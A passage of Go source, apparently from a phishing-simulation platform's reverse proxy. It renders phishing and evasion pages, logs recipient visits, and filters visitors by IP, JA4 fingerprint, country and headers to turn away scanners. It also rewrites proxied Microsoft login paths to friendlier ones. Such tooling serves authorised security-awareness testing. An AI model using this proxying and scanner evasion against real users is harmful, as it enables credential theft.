"", fmt.Errorf("failed to get email: %w", err) } // get domain hostVO, err := vo.NewString255(req.Host) if err != nil { return "", fmt.Errorf("failed to create host VO: %w", err) } domain, err := m.DomainRepository.GetByName(ctx, hostVO, &repository.DomainOption{}) if err != nil { return "", fmt.Errorf("failed to get domain: %w", err) } // create encrypted state parameter for next page campaignID := campaign.ID.MustGet() encryptedNextState, err := utils.Encrypt(nextPageType, utils.UUIDToSecret(&campaignID)) if err != nil { return "", fmt.Errorf("failed to encrypt next state: %w", err) } // get page content htmlContent, err := page.Content.Get() if err != nil { return "", fmt.Errorf("failed to get evasion page HTML content: %w", err) } // convert model.Domain to database.Domain var proxyID *uuid.UUID if id, err := domain.ProxyID.Get(); err == nil { proxyID = &id } dbDomain := &database.Domain{ ID: domain.ID.MustGet(), Name: domain.Name.MustGet().String(), Type: domain.Type.MustGet().String(), ProxyID: proxyID, ProxyTargetDomain: domain.ProxyTargetDomain.MustGet().String(), HostWebsite: domain.HostWebsite.MustGet(), RedirectURL: domain.RedirectURL.MustGet().String(), } // get campaign's company context var campaignCompanyID *uuid.UUID if campaign.CompanyID.IsSpecified() && !campaign.CompanyID.IsNull() { companyID := campaign.CompanyID.MustGet() campaignCompanyID = &companyID } // use template service to render the page with preserved original URL buf, err := m.TemplateService.CreatePhishingPageWithCampaign( ctx, dbDomain, email, reqCtx.CampaignRecipientID, recipient, htmlContent.String(), cTemplate, encryptedNextState, originalURL, campaign, campaignCompanyID, ) if err != nil { return "", fmt.Errorf("failed to render evasion page template: %w", err) } return buf.String(), nil } func (m *ProxyHandler) registerDenyPageVisitEventDirect(req *http.Request, reqCtx *RequestContext) { // use cached recipient data if reqCtx.CampaignRecipient == nil || reqCtx.RecipientID == nil || reqCtx.CampaignID == nil || reqCtx.Campaign == nil { return } recipientID := reqCtx.RecipientID campaignID := reqCtx.CampaignID campaign := reqCtx.Campaign eventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_DENY_PAGE_VISITED] newEventID := uuid.New() clientIP := vo.NewOptionalString64Must(utils.ExtractClientIP(req)) userAgent := vo.NewOptionalString255Must(utils.Substring(reqCtx.OriginalUserAgent, 0, 1000)) // MAX_USER_AGENT_SAVED equivalent var event *model.CampaignEvent if !campaign.IsAnonymous.MustGet() { metadata := model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) event = &model.CampaignEvent{ ID: &newEventID, CampaignID: campaignID, RecipientID: recipientID, IP: clientIP, UserAgent: userAgent, EventID: eventID, Data: vo.NewEmptyOptionalString1MB(), Metadata: metadata, } } else { ua := vo.NewEmptyOptionalString255() event = &model.CampaignEvent{ ID: &newEventID, CampaignID: campaignID, RecipientID: nil, IP: vo.NewEmptyOptionalString64(), UserAgent: ua, EventID: eventID, Data: vo.NewEmptyOptionalString1MB(), Metadata: vo.NewEmptyOptionalString1MB(), } } err := m.CampaignRepository.SaveEvent(req.Context(), event) if err != nil { m.logger.Errorw("failed to save deny page visit event", "error", err) } // check and update if most notable event for recipient cRecipient := reqCtx.CampaignRecipient currentNotableEventID, _ := cRecipient.NotableEventID.Get() if cache.IsMoreNotableCampaignRecipientEventID(¤tNotableEventID, eventID) { cRecipient.NotableEventID.Set(*eventID) campaignRecipientID := reqCtx.CampaignRecipientID err := m.CampaignRecipientRepository.UpdateByID(req.Context(), campaignRecipientID, cRecipient) if err != nil { m.logger.Errorw("failed to update campaign recipient notable event for deny page", "error", err) } } // handle webhook for deny page visit webhookID, err := m.CampaignRepository.GetWebhookIDByCampaignID(req.Context(), campaignID) if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) { m.logger.Errorw("failed to get webhook id by campaign id for deny page", "campaignID", campaignID.String(), "error", err, ) } if webhookID != nil { err = m.CampaignService.HandleWebhook( req.Context(), webhookID, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_DENY_PAGE_VISITED, nil, ) if err != nil { m.logger.Errorw("failed to handle webhook for deny page visit", "error", err, "campaignRecipientID", reqCtx.CampaignRecipientID.String(), ) } } } func (m *ProxyHandler) registerEvasionPageVisitEventDirect(req *http.Request, reqCtx *RequestContext) { // use cached recipient data if reqCtx.CampaignRecipient == nil || reqCtx.RecipientID == nil || reqCtx.CampaignID == nil || reqCtx.Campaign == nil { return } recipientID := reqCtx.RecipientID campaignID := reqCtx.CampaignID campaign := reqCtx.Campaign eventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_EVASION_PAGE_VISITED] newEventID := uuid.New() clientIP := vo.NewOptionalString64Must(utils.ExtractClientIP(req)) userAgent := vo.NewOptionalString255Must(utils.Substring(reqCtx.OriginalUserAgent, 0, 1000)) // MAX_USER_AGENT_SAVED equivalent var event *model.CampaignEvent if !campaign.IsAnonymous.MustGet() { metadata := model.ExtractCampaignEventMetadataFromHTTPRequest(req, campaign) event = &model.CampaignEvent{ ID: &newEventID, CampaignID: campaignID, RecipientID: recipientID, IP: clientIP, UserAgent: userAgent, EventID: eventID, Data: vo.NewEmptyOptionalString1MB(), Metadata: metadata, } } else { ua := vo.NewEmptyOptionalString255() event = &model.CampaignEvent{ ID: &newEventID, CampaignID: campaignID, RecipientID: nil, IP: vo.NewEmptyOptionalString64(), UserAgent: ua, EventID: eventID, Data: vo.NewEmptyOptionalString1MB(), Metadata: vo.NewEmptyOptionalString1MB(), } } err := m.CampaignRepository.SaveEvent(req.Context(), event) if err != nil { m.logger.Errorw("failed to save evasion page visit event", "error", err) } // handle webhook for evasion page visit webhookID, err := m.CampaignRepository.GetWebhookIDByCampaignID(req.Context(), campaignID) if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) { m.logger.Errorw("failed to get webhook id by campaign id for evasion page", "campaignID", campaignID.String(), "error", err, ) } if webhookID != nil { err = m.CampaignService.HandleWebhook( req.Context(), webhookID, campaignID, recipientID, data.EVENT_CAMPAIGN_RECIPIENT_EVASION_PAGE_VISITED, nil, ) if err != nil { m.logger.Errorw("failed to handle webhook for evasion page visit", "error", err, "campaignRecipientID", reqCtx.CampaignRecipientID.String(), ) } } } // checkFilter checks if the client IP, JA4 fingerprint and geo ip are allowed for proxy requests // JA4 fingerprint is extracted from request context (set by middleware, not from session) // returns (blocked, response) where blocked=true means the request should be blocked func (m *ProxyHandler) checkFilter(req *http.Request, reqCtx *RequestContext) (bool, *http.Response) { // use cached campaign info if reqCtx.Campaign == nil || reqCtx.CampaignID == nil { return false, nil // allow if we can't get campaign info } campaign := reqCtx.Campaign campaignID := reqCtx.CampaignID // extract client IP and strip port if present using net.SplitHostPort for IPv6 safety ip := utils.ExtractClientIP(req) if host, _, err := net.SplitHostPort(ip); err == nil { ip = host } // get allow/deny list entries allowDenyEntries, err := m.CampaignRepository.GetAllDenyByCampaignID(req.Context(), campaignID) if err != nil && err != gorm.ErrRecordNotFound { return false, nil // allow if we can't get the list } // if there are no entries, allow access if len(allowDenyEntries) == 0 { return false, nil } // get ja4 fingerprint from request header (set by middleware) ja4 := req.Header.Get(HEADER_JA4) // get country code from GeoIP lookup var countryCode string if geo, err := geoip.Instance(); err == nil { countryCode, _ = geo.Lookup(ip) } m.logger.Debugw("checking geo ip", "ip", ip, "country", countryCode, ) // check IP, JA4, and country code against allow/deny lists isAllowListing := false allowed := false // for allow lists, default is deny for i, allowDeny := range allowDenyEntries { if i == 0 { isAllowListing = allowDeny.Allowed.MustGet() if !isAllowListing { // if deny listing, then by default the IP is allowed until proven otherwise allowed = true } } // check IP filter ipOk, err := allowDeny.IsIPAllowed(ip) if err != nil { continue } // check JA4 filter ja4Ok, err := allowDeny.IsJA4Allowed(ja4) if err != nil { continue } // check country code filter countryOk := allowDeny.IsCountryAllowed(countryCode) // check header filter headers := req.Header headerOk, err := allowDeny.IsHeaderAllowed(headers) if err != nil { continue } // for allow lists: all filters (IP, JA4, country, headers) must pass // for deny lists: any filter failing blocks the request if isAllowListing { // allow list: all must be allowed if ipOk && ja4Ok && countryOk && headerOk { allowed = true break } } else { // deny list: if any filter denies, block the request if !ipOk || !ja4Ok || !countryOk || !headerOk { allowed = false break } } } if !allowed { // try to serve deny page if _, err := campaign.DenyPageID.Get(); err == nil { // load campaign template if not already loaded cTemplate := reqCtx.CampaignTemplate if cTemplate == nil { templateID, err := campaign.TemplateID.Get() if err == nil { cTemplate, err = m.CampaignTemplateRepository.GetByID(req.Context(), &templateID, &repository.CampaignTemplateOption{ WithDomain: true, WithIdentifier: true, WithEmail: true, }) if err != nil { m.logger.Errorw("failed to load campaign template for deny page", "error", err) } } } resp := m.serveDenyPageResponseDirect(req, reqCtx, campaign, cTemplate) return true, resp } // if no deny page, block with 404 return true, nil } return false, nil } // checkAndApplyURLRewrite checks if the incoming request matches any URL rewrite rules // and translates friendly paths back to original paths for forwarding to target func (m *ProxyHandler) checkAndApplyURLRewrite(req *http.Request, reqCtx *RequestContext) *http.Response { // get URL rewrite rules from domain and global config var rewriteRules []service.ProxyServiceURLRewriteRule if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig.RewriteURLs != nil { rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...) } if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil { rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...) } // check if incoming request matches a friendly path (replace) and translate to original (find) // rule.Find = original path on target (e.g., /common/oauth2/v2.0/authorize) // rule.Replace = friendly path shown to user (e.g., /signin) // when user requests friendly path, we translate to original and forward to target for _, rule := range rewriteRules { // match against the friendly path (replace) - exact match only if req.URL.Path == rule.Replace { // translate to original path (find) - strip regex anchors originalPath := strings.TrimPrefix(rule.Find, "^") originalPath = strings.TrimSuffix(originalPath, "$") // reverse query parameters based on rule's query mappings if len(rule.Query) > 0 { query := req.URL.Query() reversedQuery := url.Values{} // copy all parameters first for key, values := range query { reversedQuery[key] = values } // reverse the mapped parameters (friendly → original) for _, qRule := range rule.Query { if values, exists := query[qRule.Replace]; exists { delete(reversedQuery, qRule.Replace) reversedQuery[qRule.Find] = values } } req.URL.RawQuery = reversedQuery.Encode() } // rewrite request to use original path req.URL.Path = originalPath return nil } } // if request is to original path, just forward as-is - it's already correct for target // this handles edge cases where original URLs weren't rewritten (external links, etc.) return nil } // applyURLPathRewrites applies URL path rewriting to response body content func (m *ProxyHandler) applyURLPathRewrites(body []byte, reqCtx *RequestContext) []byte { // get URL rewrite rules from domain config var rewriteRules []service.ProxyServiceURLRewriteRule if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig.RewriteURLs != nil { rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...) } // get URL rewrite rules from global config if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil { rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...) } // apply each rewrite rule to the response body bodyStr := string(body) for _, rule := range rewriteRules { bodyStr = m.rewritePathsInContent(bodyStr, rule) } return []byte(bodyStr) } // applyURLPathRewritesWithoutSession applies URL path rewriting for requests without session func (m *ProxyHandler) applyURLPathRewritesWithoutSession(body []byte, reqCtx *RequestContext) []byte { return m.applyURLPathRewrites(body, reqCtx) } // rewriteURLPathForDomain rewrites a single URL path from original to friendly based on rewrite rules for a specific domain func (m *ProxyHandler) rewriteURLPathForDomain(path string, targetDomain string, reqCtx *RequestContext) string { // get URL rewrite rules from the specified domain's config var rewriteRules []service.ProxyServiceURLRewriteRule if domainConfig, exists := reqCtx.ProxyConfig.Hosts[targetDomain]; exists && domainConfig.RewriteURLs != nil { rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...) } // also check global config if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil { rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...) } // check each rule to see if path matches the original (find) pattern for _, rule := range rewriteRules { // strip regex anchors for matching pattern := strings.TrimPrefix(rule.Find, "^") pattern = strings.TrimSuffix(pattern, "$") pathRegex, err := regexp.Compile("^" + pattern) if err != nil { continue } if pathRegex.MatchString(path) { // replace with friendly path return rule.Replace } } return path } // rewritePathsInContent rewrites URL paths in HTML/JS content according to rewrite rules func (m *ProxyHandler) rewritePathsInContent(content string, rule service.ProxyServiceURLRewriteRule) string { // strip regex anchors for body rewriting - anchors are meant for request path matching // but in response body the paths appear mid-string (e.g., href="/path") pattern := rule.Find pattern = strings.TrimPrefix(pattern, "^") pattern = strings.TrimSuffix(pattern, "$") // compile regex pattern for finding URLs in content pathRegex, err := regexp.Compile(pattern) if err != nil { m.logger.Errorw("invalid URL rewrite regex pattern", "pattern", rule.Find, "error", err) return content } // find and replace all occurrences of the original path with the rewritten path return pathRegex.ReplaceAllString(content, rule.Replace) } // getHostConfig is a helper function to safely load and cast host configuration func (m *ProxyHandler) getHostConfig(session *service.ProxySession, host string) (service.ProxyServiceDomainConfig, bool) { hostConfigInterface, exists := session.Config.Load(host) if !exists { return service.ProxyServiceDomainConfig{}, false } return hostConfigInterface.(service.ProxyServiceDomainConfig), true }